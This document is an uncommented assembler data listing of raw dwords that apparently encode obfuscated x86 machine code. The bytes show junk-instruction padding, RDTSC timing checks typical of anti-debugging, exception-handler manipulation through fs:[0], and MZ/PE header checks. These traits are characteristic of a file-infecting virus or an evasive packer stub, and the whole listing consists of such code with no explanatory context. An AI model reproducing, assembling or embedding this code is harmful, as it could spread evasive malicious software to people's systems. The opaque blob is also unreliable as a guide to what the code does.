		dd 52420000h, 49A9DEC3h, 665B5175h, 0ECA5CF81h,	0C9985C7h
		dd 305E7h, 85310000h, 5E72569h,	0A350BD83h, 0F0005EAh
		dd 3884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 60B4CF52h, 23A9B52Bh, 0B96605E7h
		dd 0E9618B68h, 24h, 23958D29h, 8B6605E7h, 0C3050D9h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 4CC35343h, 9269006Dh, 1C343659h
		dd 0ECCEBF66h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0C9C35040h, 9D895658h, 5E72E1Dh, 99BD835Fh, 305E70Ch
		dd 45E850Fh, 0FE8B0000h, 151D9D29h, 0BD8305E7h,	5EAA350h
		dd 49840F00h, 8B000004h, 0E71619BDh, 50B5FF05h,	8105EAA3h
		dd 6403F3CBh, 12E92Ch, 0C8130000h, 2E5CF9AAh, 0C005740Ch
		dd 1E3E94CBh, 4E96815h,	2D6995FFh, 0BD8B05E7h, 5E702C1h
		dd 0A344B58Bh, 6A05EAh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 66E7F5C3h, 50588C88h, 0C77FE36Bh
		dd 1000106h, 81665200h,	5B6A79EFh, 0BDBF6696h, 8B6650FBh
		dd 606096FAh, 37FE82BFh, 615F5109h, 0CE9h, 0AC5BC500h
		dd 0A6EBFFD1h, 83BF21D3h, 0B5FF6109h, 5EAA350h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DC35040h, 66FA69F8h
		dd 0FF1935BFh, 0E7247D95h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0A17E19B5h
		dd 0BFBC0B4Eh, 11E98E74h, 0A2000000h, 0D71EB048h, 0CD83E3CFh
		dd 87022FA2h, 90B1D280h, 0C559D8Bh, 0B58B05E7h,	5EAA344h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 23C35646h
		dd 0E267D870h, 2E760B38h, 0CE906h, 0C65B0000h, 6612ED9Fh
		dd 0A7781D0Dh, 858B266Ah, 5E703CDh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 79C35040h, 513ED381h, 86895E1Eh
		dd 0C4h, 14E8h,	64654D00h, 83694337h, 0BD4BA613h, 340C6E14h
		dd 27C6862h, 0FE806h, 401F0000h, 56182393h, 0AC80E1D1h
		dd 0DAA5C844h, 8F0FA1h,	5B000000h, 15958B5Bh, 6A05E723h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 7A78C352h, 5BD8B5Bh, 8305E70Eh, 6A04C2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 35171AC3h, 38B032B3h, 0F2D781E9h, 8B0897F2h,	0E70945BDh
		dd 20508905h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0F3C35545h, 0B732858Dh,	6A05EAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 7762DDC3h
		dd 896B0EE6h, 0B886h, 6ADE8A00h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 99B05934h
		dd 0F653AC1Dh, 0B5FF6FB4h, 5EAA350h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 7AC35747h, 0EE65CF09h, 4195FFh
		dd 9D8905E7h, 5E72BADh,	44BB5096h, 961BFE80h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 45C35040h, 0B8641871h
		dd 50B5FF1Fh, 0F05EAA3h, 485h, 0D6BF6600h, 995FFE6h, 6A05E72Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h
		dd 8A22C357h, 0B9BD8BFCh, 8305E726h, 0E704F9BDh, 840F0005h
		dd 17h,	88B0F96h, 50000000h, 0FFB8B52h,	50585A31h, 919D8B96h
		dd 0FF05E72Fh, 0EAA350B5h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0E717AC41h
		dd 0EE9B589h, 605205E7h, 26A9B589h, 8D3105E7h, 5E7019Dh
		dd 95FF5B61h, 5E7071Dh,	0DB30CCBFh, 50B5FF5Dh, 0F05EAA3h
		dd 95FFDEB7h, 5E70CC5h,	0CE8h, 6760CE00h, 5FA5E7BAh, 7BEB821Dh
		dd 9D850196h, 5B05E72Dh, 25CDBD83h, 0F0205E7h, 6384h, 0F19D2900h
		dd 0F05E72Ah, 184h, 858BF800h, 5E70651h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 0E7C35646h, 37E01506h
		dd 0B7F6E66Fh, 0C64Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0F7C35242h, 1687B83Ch, 0BF5B7CEFh, 26936072h
		dd 0DFD85C7h, 5E7h, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 170424h, 52420000h, 0F04414C3h, 12E9E5h
		dd 0DCEB0000h, 5BE4A752h, 0A1BB256Dh, 3779A661h, 0BEFE2EBEh
		dd 0FFF36CE9h, 6AC18BFFh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0CB79C351h,	265CF1DFh
		dd 89101A58h, 0E70B61B5h, 0F9858D05h, 8B05E71Ah, 0E71B0DBDh
		dd 3FBF5005h, 895446EDh, 8D892404h, 5E7136Dh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 4842F9C3h, 16A9BD8Bh, 6A05E7h, 2423858Dh, 0BD0B05ECh
		dd 5E7031Dh, 6A05C083h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0C473C356h,	0E19589D3h
		dd 9005E70Eh, 52505060h, 585A310Fh, 5052505Bh, 5A310F52h
		dd 0E8310F58h, 10h, 312C7C52h, 81A549F9h, 0CF73A7B7h, 892D06AFh
		dd 61585A5Bh, 52506050h, 310FF78Ah, 5AC88B66h, 61C18B58h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0A2C87B75h, 11BD8B5Ch, 6A05E72Fh, 9AEB8100h
		dd 6A654419h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 3980F4A8h, 0DF7D860h, 95FFE2B7h
		dd 5E702C5h, 2398D09h, 8D8D05E7h, 5EA9514h, 1B11BD8Bh
		dd 0D1FF05E7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	1C35545h, 2FC7E8AAh, 649A5791h,	83D8B70Fh, 0E707F1BDh
		dd 850F0105h, 8Ch, 26ADA8Bh, 525090F9h,	48E0Fh,	0BB660000h
		dd 310F6F03h, 8B665250h, 50310FD8h, 5A585A5Bh, 52505058h
		dd 0EE9h, 2A986500h, 0B4FD50DAh, 8739316Ch, 0F290181h
		dd 0BE831h, 24C50000h, 862A2CBFh, 4F01AF60h, 5B61603Fh
		dd 0F990585Ah, 13E8h, 0C215D800h, 8731321Ah, 21F2A4C9h
		dd 0CBDD2CA8h, 0A964E753h, 0A0EF8166h, 95FF5BBAh, 5E70041h
		dd 11E8h, 9133D800h, 789D6293h,	7B58BD27h, 1AFB118Dh, 5FF8F351h
		dd 0F42E9h, 0E800h, 815D0000h, 0EC242DEDh, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 190EC400h, 521C8521h, 5B858DE7h, 6A05EA8Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0FA4EC351h, 0FBC2BC00h, 0E9BD8B9Dh, 5005E70Dh, 29240489h
		dd 0E7147DBDh, 35FF6405h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0EC35242h
		dd 41BD3338h, 6405E720h, 2589h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 4AF45AC3h
		dd 0E185FFC2h, 6A05E71Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 5172C350h, 7E3731Bh
		dd 5E9FF6Ah, 0E0000000h, 0C04B6BB8h, 17DB5FFh, 6A05E7h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0A6BDFDC3h, 0D928764Dh, 0E82D37FEh, 6, 99D13EF1h, 8B5382CCh
		dd 0E72B75BDh, 8B5F5B05h, 0E707A5BDh, 0F99D8B05h, 0FF05E700h
		dd 0E729C195h, 140E905h, 0BD8B0000h, 5E71C55h, 13E900B0h
		dd 54000000h, 0ABEEEFB8h, 0C7AE781Eh, 18475945h, 0D698B16Ah
		dd 70E63420h, 5B59D0Bh,	71E405E7h, 0BBA92FBBh, 0F613C7Ah
		dd 10983h, 7E900h, 0C3F00000h, 0F255D9A1h, 0C8B60F08h
		dd 6800Fh, 85890000h, 5E70071h,	6BAh, 13E900h, 9E4D0000h
		dd 1E160F8h, 0DC0C7689h, 0BFB08FBDh, 7A0B3CD8h,	66C18BECh
		dd 0E9DC7CBFh, 9, 0D7068971h, 0D38964C7h, 4E8C1F2h, 1BA9B509h
		dd 0F76605E7h, 0F38166E2h, 0C82B86AFh, 85BD2950h, 5F05E723h
		dd 5E9D18Bh, 7C000000h,	0BAA4918Ah, 91E9h, 63BB6600h, 4C858B21h
		dd 8B494755h, 0E70D2DBDh, 7C08305h, 8E8h, 33346B00h, 0D95CD2CDh
		dd 665FF87Ah, 26A0DB81h, 6000C083h, 20518503h, 858B05E7h
		dd 5E70955h, 3BF98B61h,	11830FD0h, 8B000000h, 0E726F1BDh
		dd 44E905h, 85890000h, 5E70701h, 0FFFF8D8Bh, 0FE8BFFFFh
		dd 0F01E183h, 2D84h, 59958900h,	0F05E723h, 83h,	0FFA58300h
		dd 0FEFFFFFFh, 3880Fh, 0B70F0000h, 4C9589FFh, 1494755h
		dd 0E732619Dh, 0E905h, 0B58D0000h, 5EBA18Fh, 2E49BD8Bh
		dd 6A05E7h, 515BD8Bh, 95FF05E7h, 5E71A1Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 5C35747h, 42612573h
		dd 0E8FD8A20h, 11h, 754B7EE3h, 782518E8h, 4B041E1Fh, 83D0372Bh
		dd 0C1950168h, 5F05E715h, 0EF7B9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 18FAF6E1h
		dd 96C1CAA7h, 0E1835487h, 68A0FFCh, 81000000h, 0B34CC9C7h
		dd 0BF0FFC77h, 89C02BDEh, 0E70BC1BDh, 6AD22B05h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0E2D5C353h, 0FDE2F0Eh, 683h,	0CD9D0B00h, 0AD05E726h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 29DCC352h
		dd 0F59D8B7Eh, 6A05E705h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 1D67C353h, 97EE631Ah
		dd 880DE0F6h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 32A1C350h, 8166F526h
		dd 8B4476F7h, 0E7231595h, 0C880F05h, 0F000000h,	68Ah, 55BD8B00h
		dd 8B05E72Ah, 0E708B98Dh, 0BE905h, 72590000h, 0B6D1C595h
		dd 58401E43h, 0C28B5024h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0A091C357h, 0E7BC936Bh, 6A750647h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0CCC0C355h, 94B12EBBh, 0AE85Ch, 5E410000h
		dd 35EED12Dh, 8D4C24B4h, 359BD89h, 835F05E7h, 0E7211DBDh
		dd 840F0005h, 0A4h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 6CC35545h, 3CA2E8DFh,	3E77CA35h, 2DD19D29h
		dd 852905E7h, 5E71ADDh,	0B8h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8D4A6CB7h
		dd 0E74DFA8Dh, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 2352496Ch, 0E70D559Dh
		dd 6AE1FF05h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 69BBC350h, 5B5BD89h, 0F98A05E7h
		dd 0C99BD83h, 0F0005E7h, 47C84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 3B7D8BDEh
		dd 0EE9h, 5E332F00h, 0F109F4EFh, 84D245C6h, 8318DC39h
		dd 0E70C99BDh, 840F0105h, 458h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 5EC35646h, 0C7A47C0Ah, 9F7C932Bh
		dd 1DB5BBBBh, 1B58959h,	8305E707h, 0E70C99BDh, 860F0305h
		dd 3E6h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0DDC35646h, 49DB912Bh, 60734AE7h, 0D0CC42BBh, 0ED9D8936h
		dd 8005E72Bh, 6A6051F7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F6EC356h, 684h, 15852900h
		dd 6605E72Ch, 13E9D98Ch, 0A0000000h, 84B738FEh,	0CA49948Ch
		dd 53F505D3h, 95878DE9h, 0E1801438h, 0C90AFC04h, 0F4840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 5A3E0C3h,	0EDBD0305h, 8B05E72Bh, 0E70579BDh
		dd 2D858B05h, 105E707h,	0E727C595h, 81853305h, 6A05E72Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0F3B2C352h, 0BF20E33Eh, 32B37680h, 48950F5h
		dd 218D8924h, 6A05E70Dh, 0DF8B6600h, 25C1B589h,	36805E7h
		dd 0F74DB4Ch, 8Dh, 24348100h, 74C44FFCh, 29F98B66h, 0E71CC59Dh
		dd 0E595FF05h, 6A05E720h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0E32CC357h,	38FDEC8Eh
		dd 8DBD032Ch, 8905E700h, 0EAA35085h, 29B58905h,	0E905E70Eh
		dd 236h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 15h,	35C35242h, 0EB8166B9h, 858B19CAh, 5EAA348h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 13C35343h, 26600740h
		dd 66511304h, 0C73028BFh, 1800h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0B17AAE35h
		dd 5681188h, 0BDDF80BCh, 0A34CB58Bh, 6A05EAh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0C9D8A2C3h
		dd 6651F427h, 0AF5EDB81h, 0CE95Bh, 16740000h, 21F815AEh
		dd 0C30B13B6h, 858BA2D2h, 5E70081h, 6A0689h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F5FA90C3h
		dd 72D858Bh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0D79334C3h, 0B87DF66Ah, 89D07D9Eh
		dd 0E70BF5BDh, 4468905h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 9CC35545h, 84496616h,	0DE9h, 6CC8F500h
		dd 0D0695EE5h, 7F5B2EC5h, 6160C164h, 0BE850h, 0CB360000h
		dd 0B45C3F72h, 0EEF6BDCDh, 5B5B534Ch, 8B243489h, 0E700A59Dh
		dd 48B5FF05h, 6A05EAA3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h
		dd 16042444h, 46000000h, 830C356h, 68C6B717h, 1481A51Ch
		dd 0D163E5BFh, 2434812Dh, 149EA6E3h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0E5C35747h,	52FCD705h, 0CE907h
		dd 33F80000h, 18E3B631h, 3F9EEA16h, 858DAAA8h, 5EAA350h
		dd 0E942C780h, 0Fh, 9CB89B42h, 20C96B46h, 471F7761h, 90C0FA0Eh
		dd 0AE95250h, 0E000000h, 379E7258h, 85C2AECDh, 66310F7Fh
		dd 5A5B93BFh, 8B665058h, 0FFFC90DAh, 0E720E595h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0C8A130B3h, 19973798h, 81612CE8h, 0B52D6DEBh, 0DE92Ah
		dd 80D60000h, 7DF3874Bh, 0DCC54E93h, 0C74D4C64h, 0E70C9985h
		dd 305h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 82D3D977h, 0A350BD83h, 0F0005EAh
		dd 0D84h, 0E9C5B700h, 21h, 2CC19589h, 305005E7h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0C78166C0h
		dd 85299501h, 5E71C05h,	0C99BD83h, 0F0305E7h, 4DF85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E92DE624h, 7FBC4B97h, 14E9DFh, 30170000h, 0D69FE965h
		dd 1586192Dh, 0C9806460h, 0E25B53FFh, 0BD833A64h, 5EAA350h
		dd 95840F00h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 8738C356h, 0A7FF3D96h
		dd 0F0DFDCBh, 87h, 50B5FF00h, 6A05EAA3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0E742C350h
		dd 50E7FF7Dh, 0A59D8BA0h, 0FF05E721h, 0E72D6995h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0E301FB96h, 5E952h, 36B00000h, 5BB237CDh, 0A344B58Bh
		dd 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 8F1D3AC3h, 2BFD7110h, 9E9F1h, 9F70000h, 87F5D102h
		dd 0C70D7ECDh, 1000106h, 69BD8900h, 9605E732h, 0EE8h, 340AF00h
		dd 0EF61DABh, 2B6D59FBh, 0BBBBFD81h, 4BC6A1F9h,	5250505Bh
		dd 8DA7BF66h, 5250310Fh, 310F6160h, 1264BB66h, 585A585Ah
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 220CDC6Dh, 8066EC69h, 6E872D3h, 6A000000h
		dd 0CB507820h, 89BF6604h, 0B5FF5B6Bh, 5EAA350h,	0CE8h
		dd 1C15EA00h, 0F3D6602h, 0C0976803h, 61BD092Dh,	5F05E707h
		dd 247D95FFh, 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0B5179AC3h, 6390A885h, 12E9F85Ch
		dd 64000000h, 1A8CC25Fh, 407533DCh, 4EC84789h, 870A0B2Ch
		dd 44B58B58h, 6A05EAA3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 0C23DC353h,	0D0D137B2h
		dd 0BD33365Dh, 5E70899h, 3CD858Bh, 6A05E7h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5A4223C3h
		dd 0BD8BFC49h, 5E71C31h, 0C48689h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 81BAB1C3h
		dd 0E94E2FFEh, 0C9BFACB2h, 8B229527h, 0E7231595h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0F98BE6B3h, 6A04C283h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 9F82C357h, 0CE8h, 0E5D64700h
		dd 54332D20h, 11BB35AFh, 21952999h, 5B05E728h, 89205089h
		dd 0E720C9BDh, 0AE905h,	0BD910000h, 674C1612h, 3CFD0866h
		dd 0B732858Dh, 6A05EAh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 868911C3h, 0B8h,	0B4BB6656h, 6A5F9Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 2CC35040h
		dd 3CAD011Dh, 4A55610Eh, 8B66DD8Ah, 50B5FFF9h, 6A05EAA3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 3025C350h, 0FFF061C3h, 0E7004195h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 24AEF763h, 25699D8Bh, 666005E7h, 213F181h, 50618DB5h
		dd 0FCA8B60h, 8Eh, 34896100h, 0CF815724h, 6A74ACF4h, 50B5FF5Bh
		dd 6A05EAA3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0D032C353h, 2A0995FFh,	6A05E7h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0A9F29CC3h, 3E34FF5h, 4F9BD83h, 0F0005E7h, 4A84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0D445B81Ah, 850F967Bh, 15h, 9E8h, 55536100h,	7AFCBFF4h
		dd 850F4BD7h, 0
		dd 6660505Bh, 0CE8BD38Bh, 81669661h, 0FF9755E3h, 0EAA350B5h
		dd 95FFF505h, 5E7071Dh,	8880Fh,	8B520000h, 0E703E59Dh
		dd 0B5FF5F05h, 5EAA350h, 9F88DABFh, 0C595FF60h,	0E905E70Ch
		dd 5, 31A36CDEh, 0CDBD8386h, 205E725h, 45840Fh,	0EF810000h
		dd 77D827B4h, 651858Bh,	0BB6605E7h, 0C6A541h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0DFBF51BCh, 5F2F98D3h, 0AE9h, 3E092B00h, 2F34F7B9h
		dd 0C705C8A4h, 0E70DFD85h, 5, 57BF5200h, 5B77D621h, 0FFF20BE9h
		dd 0E19D8BFFh, 0F05E732h, 1789h, 12E900h, 472F0000h, 5640BC1Eh
		dd 1E549449h, 0C15B4853h, 0EF0B0FB5h, 6AC18Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0A0D952C3h, 0BF669723h, 9D8BEEA0h, 5E70F11h,	19850Fh
		dd 14E90000h, 0BF000000h, 0FE5BFF01h, 0A8743141h, 9E427F89h
		dd 0FFAF3E07h, 0BAD25539h, 0F00E0000h, 0EA81h, 0C283F000h
		dd 9958914h, 8305E706h,	858D14EAh, 5EC3410h, 35FF6450h
		dd 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 9D8589C8h, 305E704h,	0B70F3C40h, 95890650h, 5E727E5h
		dd 8950508Bh, 0E71CFD95h, 0F80505h, 508B0000h, 89D1030Ch
		dd 0E716C995h, 8500305h, 5419589h, 8F6405E7h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 3301BD83h, 0F0005E7h, 2484h,	0F985C600h, 4705E707h
		dd 9AA7D268h, 0C5B5FFD4h, 8D05E72Dh, 0EA796385h, 6AD0FF05h
		dd 89D0FF00h, 0E7236985h, 0E8D38B05h, 6, 2DDBF59Dh, 32B8244Ch
		dd 5B684533h, 3870Fh, 0B70F0000h, 85C381F6h, 0E900005Ch
		dd 8, 208762CDh, 0E68748BFh, 16F668h, 56566000h, 0D7815E5Ah
		dd 6778C20Ah, 0B70F5961h, 5A33FFC7h, 0D8A1B866h, 6491EA81h
		dd 0E953014Dh, 0Fh, 56083998h, 4535D941h, 0E796E1CFh, 5E748A71h
		dd 420EEA81h, 0F2812EB8h, 5A35FF5Ch, 68A0F60h, 81000000h
		dd 0DF92B6D0h, 5BF85133h, 0F98B5261h, 8B66038Fh, 2EB83FAh
		dd 9E94B4Bh, 8A000000h,	0C8AB1049h, 18F9AE72h, 0F01E983h
		dd 0FFFF9C85h, 5E852FFh, 60000000h, 0EBD71A29h,	58F7F080h
		dd 0D68D8D58h, 6A05EC35h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0E689C353h,	9D8998F8h
		dd 5E720FDh, 89F2B70Fh,	0E723158Dh, 0C1BD8B05h,	0C705E70Bh
		dd 0E708B985h, 606405h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0E695FDA3h, 0C72DC8BCh
		dd 0E70C9985h, 5, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0D66547DCh, 8B5D102Bh
		dd 0C5B5FFD9h, 8105E708h, 118DAFF6h, 0CD95FF24h, 6A05E732h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0AEEBC357h, 95FF006Ah, 5E71A1Dh, 78EBC08Bh
		dd 0A5AF8478h, 92857797h, 8A0F4EFDh, 4C979402h,	0D4AC136h
		dd 479D2B39h, 2D9941Ch,	7B947681h, 55183889h, 5BE0C92Bh
		dd 7101F939h, 7FF3C99Ch, 828E018Ch, 0BB987C3Eh,	606541EAh
		dd 842B5A54h, 0A9379AB0h, 513BA480h, 1D594BA2h,	0E43EBAECh
		dd 32B6EE40h, 0D6419D55h, 5323BCEFh, 0F59FDFFh,	0EB35DFEFh
		dd 0C0761524h, 16F73B12h, 0CCF4845Fh, 0A160B80Fh, 5F19B418h
		dd 376D8D8Dh, 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 88AB50C3h, 5C0CF6DBh, 18C2CE81h
		dd 8D894347h, 5E72315h,	0C7D98B66h, 0E708B985h,	71AC05h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 8BB6A915h, 0BD895315h, 5E72659h,	0DE9h
		dd 5E9C3000h, 20A02002h, 0B8E8159Eh, 85C75DA3h,	5E70C99h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 13C35646h
		dd 5DDB8526h, 3953C55Fh, 13E941h, 1D980000h, 1B998695h
		dd 49E75E3Bh, 865CD10Bh, 9D3E0532h, 65B5FF7Ch, 6A05E72Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0CF30C353h, 13F429A2h, 32CD95FFh,	6A05E7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 1934D9C3h, 24233FDFh, 6AF88AF5h, 1D95FF00h, 8B05E71Ah
		dd 1179EBC0h, 0A21E157Ch, 0C2CAFEA2h, 0F35D6709h, 1F18C233h
		dd 0E4D73DFEh, 447A338Bh, 9413990Eh, 0ED61F6A6h, 60D337F4h
		dd 76EB6F32h, 0E48A81CEh, 0C9D4831Ch, 0FE0D81DBh, 78E60903h
		dd 0DC67D2A6h, 28BD378Eh, 74FB3B66h, 2D0DF6BAh,	0FE0244BEh
		dd 860C002Ah, 2ABD262h,	5B0D8C2Bh, 3D79FC14h, 6C07EC38h
		dd 1C5CA77Ah, 7189829Bh, 0B4829C94h, 5B32B41Bh,	0D54A7963h
		dd 6E562FB6h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h
		dd 0A90B3363h, 982633A9h, 5E265AF1h, 7F21CAEFh,	0B44E6030h
		dd 67A5E4FFh, 7F0BF6F8h, 0FBA3BEA3h, 6723D92Ah,	0FDA3BA79h
		dd 1B23D4DFh, 7F1532D7h, 1D293330h, 98263383h, 0AFDDB6C0h
		dd 1576364Ah, 7411DED6h, 0DD963ACh, 9DC138B1h, 98266483h
